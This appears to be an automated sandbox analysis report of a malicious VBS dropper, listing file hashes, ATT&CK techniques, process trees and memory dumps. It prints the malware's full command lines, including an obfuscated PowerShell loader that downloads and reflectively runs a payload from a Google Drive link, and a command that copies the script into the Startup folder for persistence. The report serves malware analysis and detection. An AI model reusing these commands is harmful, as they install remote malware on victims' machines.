dcd8eb05de5d4e76fbadf6cf6ffa17f72e6feba0ab79ea57ec2f507d838c1626

General

Target

06112024_0054_110424.vbs
Size

140KB
MD5

b551d6e65cb8770641782a1c9fea2d46
SHA1

913f33925e21db15d167574c6d29e612641c24f5
SHA256

dcd8eb05de5d4e76fbadf6cf6ffa17f72e6feba0ab79ea57ec2f507d838c1626
SHA512

660b54552fc52f6195db34af7fa8d2fcfb05a0c7b97822cf654dd8360e83e3d416235c44050581a470cc01348583a56154fb55665c60a48cc1df2c8bc3707eb9
SSDEEP

1536:ZirfBgt5pzEGw+jDKVRs8UH12oaz+MXdVyagPI1lNyU:ZirZgt5pIGwS8RsXVTahdVyagPIPNd

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2824	powershell.exe
7	2824	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2848	powershell.exe
2824	powershell.exe
2800	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cuqueiro.vbs	WScript.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cuqueiro.vbs	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
4	drive.google.com
5	drive.google.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2876	cmd.exe
2404	PING.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2404	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2800	powershell.exe
2848	powershell.exe
2824	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2800	powershell.exe
Token: SeDebugPrivilege	2848	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2504 wrote to memory of 2876	2504	WScript.exe	30
PID 2504 wrote to memory of 2876	2504	WScript.exe	30
PID 2504 wrote to memory of 2876	2504	WScript.exe	30
PID 2876 wrote to memory of 2404	2876	cmd.exe	32
PID 2876 wrote to memory of 2404	2876	cmd.exe	32
PID 2876 wrote to memory of 2404	2876	cmd.exe	32
PID 2876 wrote to memory of 2800	2876	cmd.exe	33
PID 2876 wrote to memory of 2800	2876	cmd.exe	33
PID 2876 wrote to memory of 2800	2876	cmd.exe	33
PID 2504 wrote to memory of 2848	2504	WScript.exe	34
PID 2504 wrote to memory of 2848	2504	WScript.exe	34
PID 2504 wrote to memory of 2848	2504	WScript.exe	34
PID 2848 wrote to memory of 2824	2848	powershell.exe	36
PID 2848 wrote to memory of 2824	2848	powershell.exe	36
PID 2848 wrote to memory of 2824	2848	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\06112024_0054_110424.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2504
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\06112024_0054_110424.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orieuquc.vbs')')
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2876
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 10
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command [System.IO.File]::Copy('C:\Users\Admin\AppData\Local\Temp\06112024_0054_110424.vbs', 'C:\Users\' + [Environment]::UserName + ''\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ sbv.orieuquc.vbs')')
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SUVYICgoKCdqZ1lpbWFnZVVybCA9IFdwWmh0dHBzOi8vZCcrJ3JpdmUuZ29vZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9MScrJ1V5SHF3cm5YQ2xLQkozajYzTGwxdDJTdFZnR3hiU3QwIFdwWjtqZ1l3ZWJDbGknKydlbnQgJysnPSBOZXcnKyctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2pnWWltYWdlQnl0ZXMgPSBqZ1l3ZWJDbGllbnQuRG93bmxvYWREYXRhKGpnWWltYWdlVXJsKTtqZ1lpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhqZ1lpbWFnZUJ5dGVzKTtqZ1lzdGFydEZsYWcgPSBXcFo8PEJBU0U2NF9TVEFSVD4+V3BaO2pnWWVuZEZsYWcgPSBXcFo8PEJBU0U2NF9FTkQ+PldwWjtqZ1lzdGFydEluZGV4ID0gamdZaW1hZ2VUZXh0LkluZGV4T2YoamdZc3RhcnRGbGFnKTtqZ1llbmRJbmRleCAnKyc9IGpnWWltYWdlVGV4dC5JbmRleE9mKGpnWWVuZEZsYWcpO2pnWXN0YXJ0SW5kZXggLWdlIDAgLWEnKyduZCBqZ1llbmRJbmRleCAtZ3QgamdZc3RhcnRJbmRleDtqZ1lzdGFydEluZGV4ICs9IGpnWXN0YXJ0RmxhZy5MZW5ndGg7amdZYmFzZTY0TGVuZ3RoID0gamdZZW5kSW5kZXggLSBqZ1lzdGFydEluZGV4O2pnWWJhc2U2NENvbW1hbmQgPSBqZ1lpbWFnZVRleHQuU3Vic3RyaW5nKGpnWXN0YXJ0JysnSW5kZXgsIGpnWWJhc2U2NExlbmd0aCk7amdZYmFzZTY0UmV2ZXJzZWQgPSAtam9pbiAoamdZYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIGI1dyBGb3JFYWNoLU9iamVjdCB7IGpnWV8gfSlbLTEuLicrJy0oamcnKydZYmFzZTY0Q29tbWEnKyduZC5MZW5ndGgpXTtqZ1ljb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGpnWWJhcycrJ2U2NFJlJysndmVyc2VkKTtqZ1lsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGknKydvbi5Bc3NlbWJseV06OkxvYWQoamdZY29tbWFuZEJ5dGUnKydzKTtqZ1l2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFdwWlZBSVdwWik7amdZdmFpTWV0aG9kLkludm9rZShqZ1ludWxsLCBAKFdwWnR4dC4yeDQyNDAxMS92bycrJ24nKycvcmguJysnZWVyZi5uZWdhdGFkdGZvcy5sbGVibScrJ2FjbG9zLy86c3B0JysndGhXcFosIFdwWmRlc2F0aXZhJysnZG9XcFosIFcnKydwWmRlc2F0aXZhZG9XcFosIFdwWmRlc2F0aXZhZG9XJysncFosIFdwWk1TQnVpbGRXcFosIFdwWmRlc2F0aXZhZG9XcFosIFdwWmRlc2F0aXZhZCcrJ29XcFosV3BaZGVzYXRpdmFkb1dwWixXcFpkZXNhdGl2YWRvVycrJ3BaLFdwWmRlc2F0aXZhZG9XcFosV3BaZGVzYXRpJysndmFkb1dwWixXcFpkZXNhdGl2YWRvV3BaLFdwWjFXcFosV3BaZGVzYXRpdmFkb1dwWikpOycpIC1SRVBMYUNlIChbQ0hBcl0xMDYrW0NIQXJdMTAzK1tDSEFyXTg5KSxbQ0hBcl0zNiAgLVJFUExhQ2UnYjV3JyxbQ0hBcl0xMjQgLVJFUExhQ2UgICdXcFonLFtDSEFyXTM5KSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IEX ((('jgYimageUrl = WpZhttps://d'+'rive.google.com/uc?export=download&id=1'+'UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 WpZ;jgYwebCli'+'ent '+'= New'+'-Object System.Net.WebClient;jgYimageBytes = jgYwebClient.DownloadData(jgYimageUrl);jgYimageText = [System.Text.Encoding]::UTF8.GetString(jgYimageBytes);jgYstartFlag = WpZ<<BASE64_START>>WpZ;jgYendFlag = WpZ<<BASE64_END>>WpZ;jgYstartIndex = jgYimageText.IndexOf(jgYstartFlag);jgYendIndex '+'= jgYimageText.IndexOf(jgYendFlag);jgYstartIndex -ge 0 -a'+'nd jgYendIndex -gt jgYstartIndex;jgYstartIndex += jgYstartFlag.Length;jgYbase64Length = jgYendIndex - jgYstartIndex;jgYbase64Command = jgYimageText.Substring(jgYstart'+'Index, jgYbase64Length);jgYbase64Reversed = -join (jgYbase64Command.ToCharArray() b5w ForEach-Object { jgY_ })[-1..'+'-(jg'+'Ybase64Comma'+'nd.Length)];jgYcommandBytes = [System.Convert]::FromBase64String(jgYbas'+'e64Re'+'versed);jgYloadedAssembly = [System.Reflecti'+'on.Assembly]::Load(jgYcommandByte'+'s);jgYvaiMethod = [dnlib.IO.Home].GetMethod(WpZVAIWpZ);jgYvaiMethod.Invoke(jgYnull, @(WpZtxt.2x424011/vo'+'n'+'/rh.'+'eerf.negatadtfos.llebm'+'aclos//:spt'+'thWpZ, WpZdesativa'+'doWpZ, W'+'pZdesativadoWpZ, WpZdesativadoW'+'pZ, WpZMSBuildWpZ, WpZdesativadoWpZ, WpZdesativad'+'oWpZ,WpZdesativadoWpZ,WpZdesativadoW'+'pZ,WpZdesativadoWpZ,WpZdesati'+'vadoWpZ,WpZdesativadoWpZ,WpZ1WpZ,WpZdesativadoWpZ));') -REPLaCe ([CHAr]106+[CHAr]103+[CHAr]89),[CHAr]36 -REPLaCe'b5w',[CHAr]124 -REPLaCe 'WpZ',[CHAr]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

1

T1018

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\93014R2HXTO9RB2AYL0P.temp

Filesize
7KB

MD5
3f1694aba91e95cbd16a2fbe2c251f32

SHA1
0d5141f470c61208b430cc9d86cd7dba0f179d63

SHA256
802ba253569863ba85c8f98b270494ffe0e85430c25d89fd1e8e670260941777

SHA512
c4a6f9dea829beb2755b9802bf895b1df98a6051f5cfe443137717a2942dd1edad43ed3b8e1ea4d36cf57dc448f60ca7ad121810ef0608b6d3541903b8c727a5

Download Submit
memory/2800-11-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-7-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download
memory/2800-10-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-9-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-5-0x000007FEF536E000-0x000007FEF536F000-memory.dmp

Filesize
4KB

Download
memory/2800-12-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-13-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-8-0x000007FEF50B0000-0x000007FEF5A4D000-memory.dmp

Filesize
9.6MB

Download
memory/2800-6-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

Filesize
2.9MB

Download
memory/2824-29-0x000000001AD40000-0x000000001AE98000-memory.dmp

Filesize
1.3MB

Download
memory/2848-19-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2848-20-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download

Analysis

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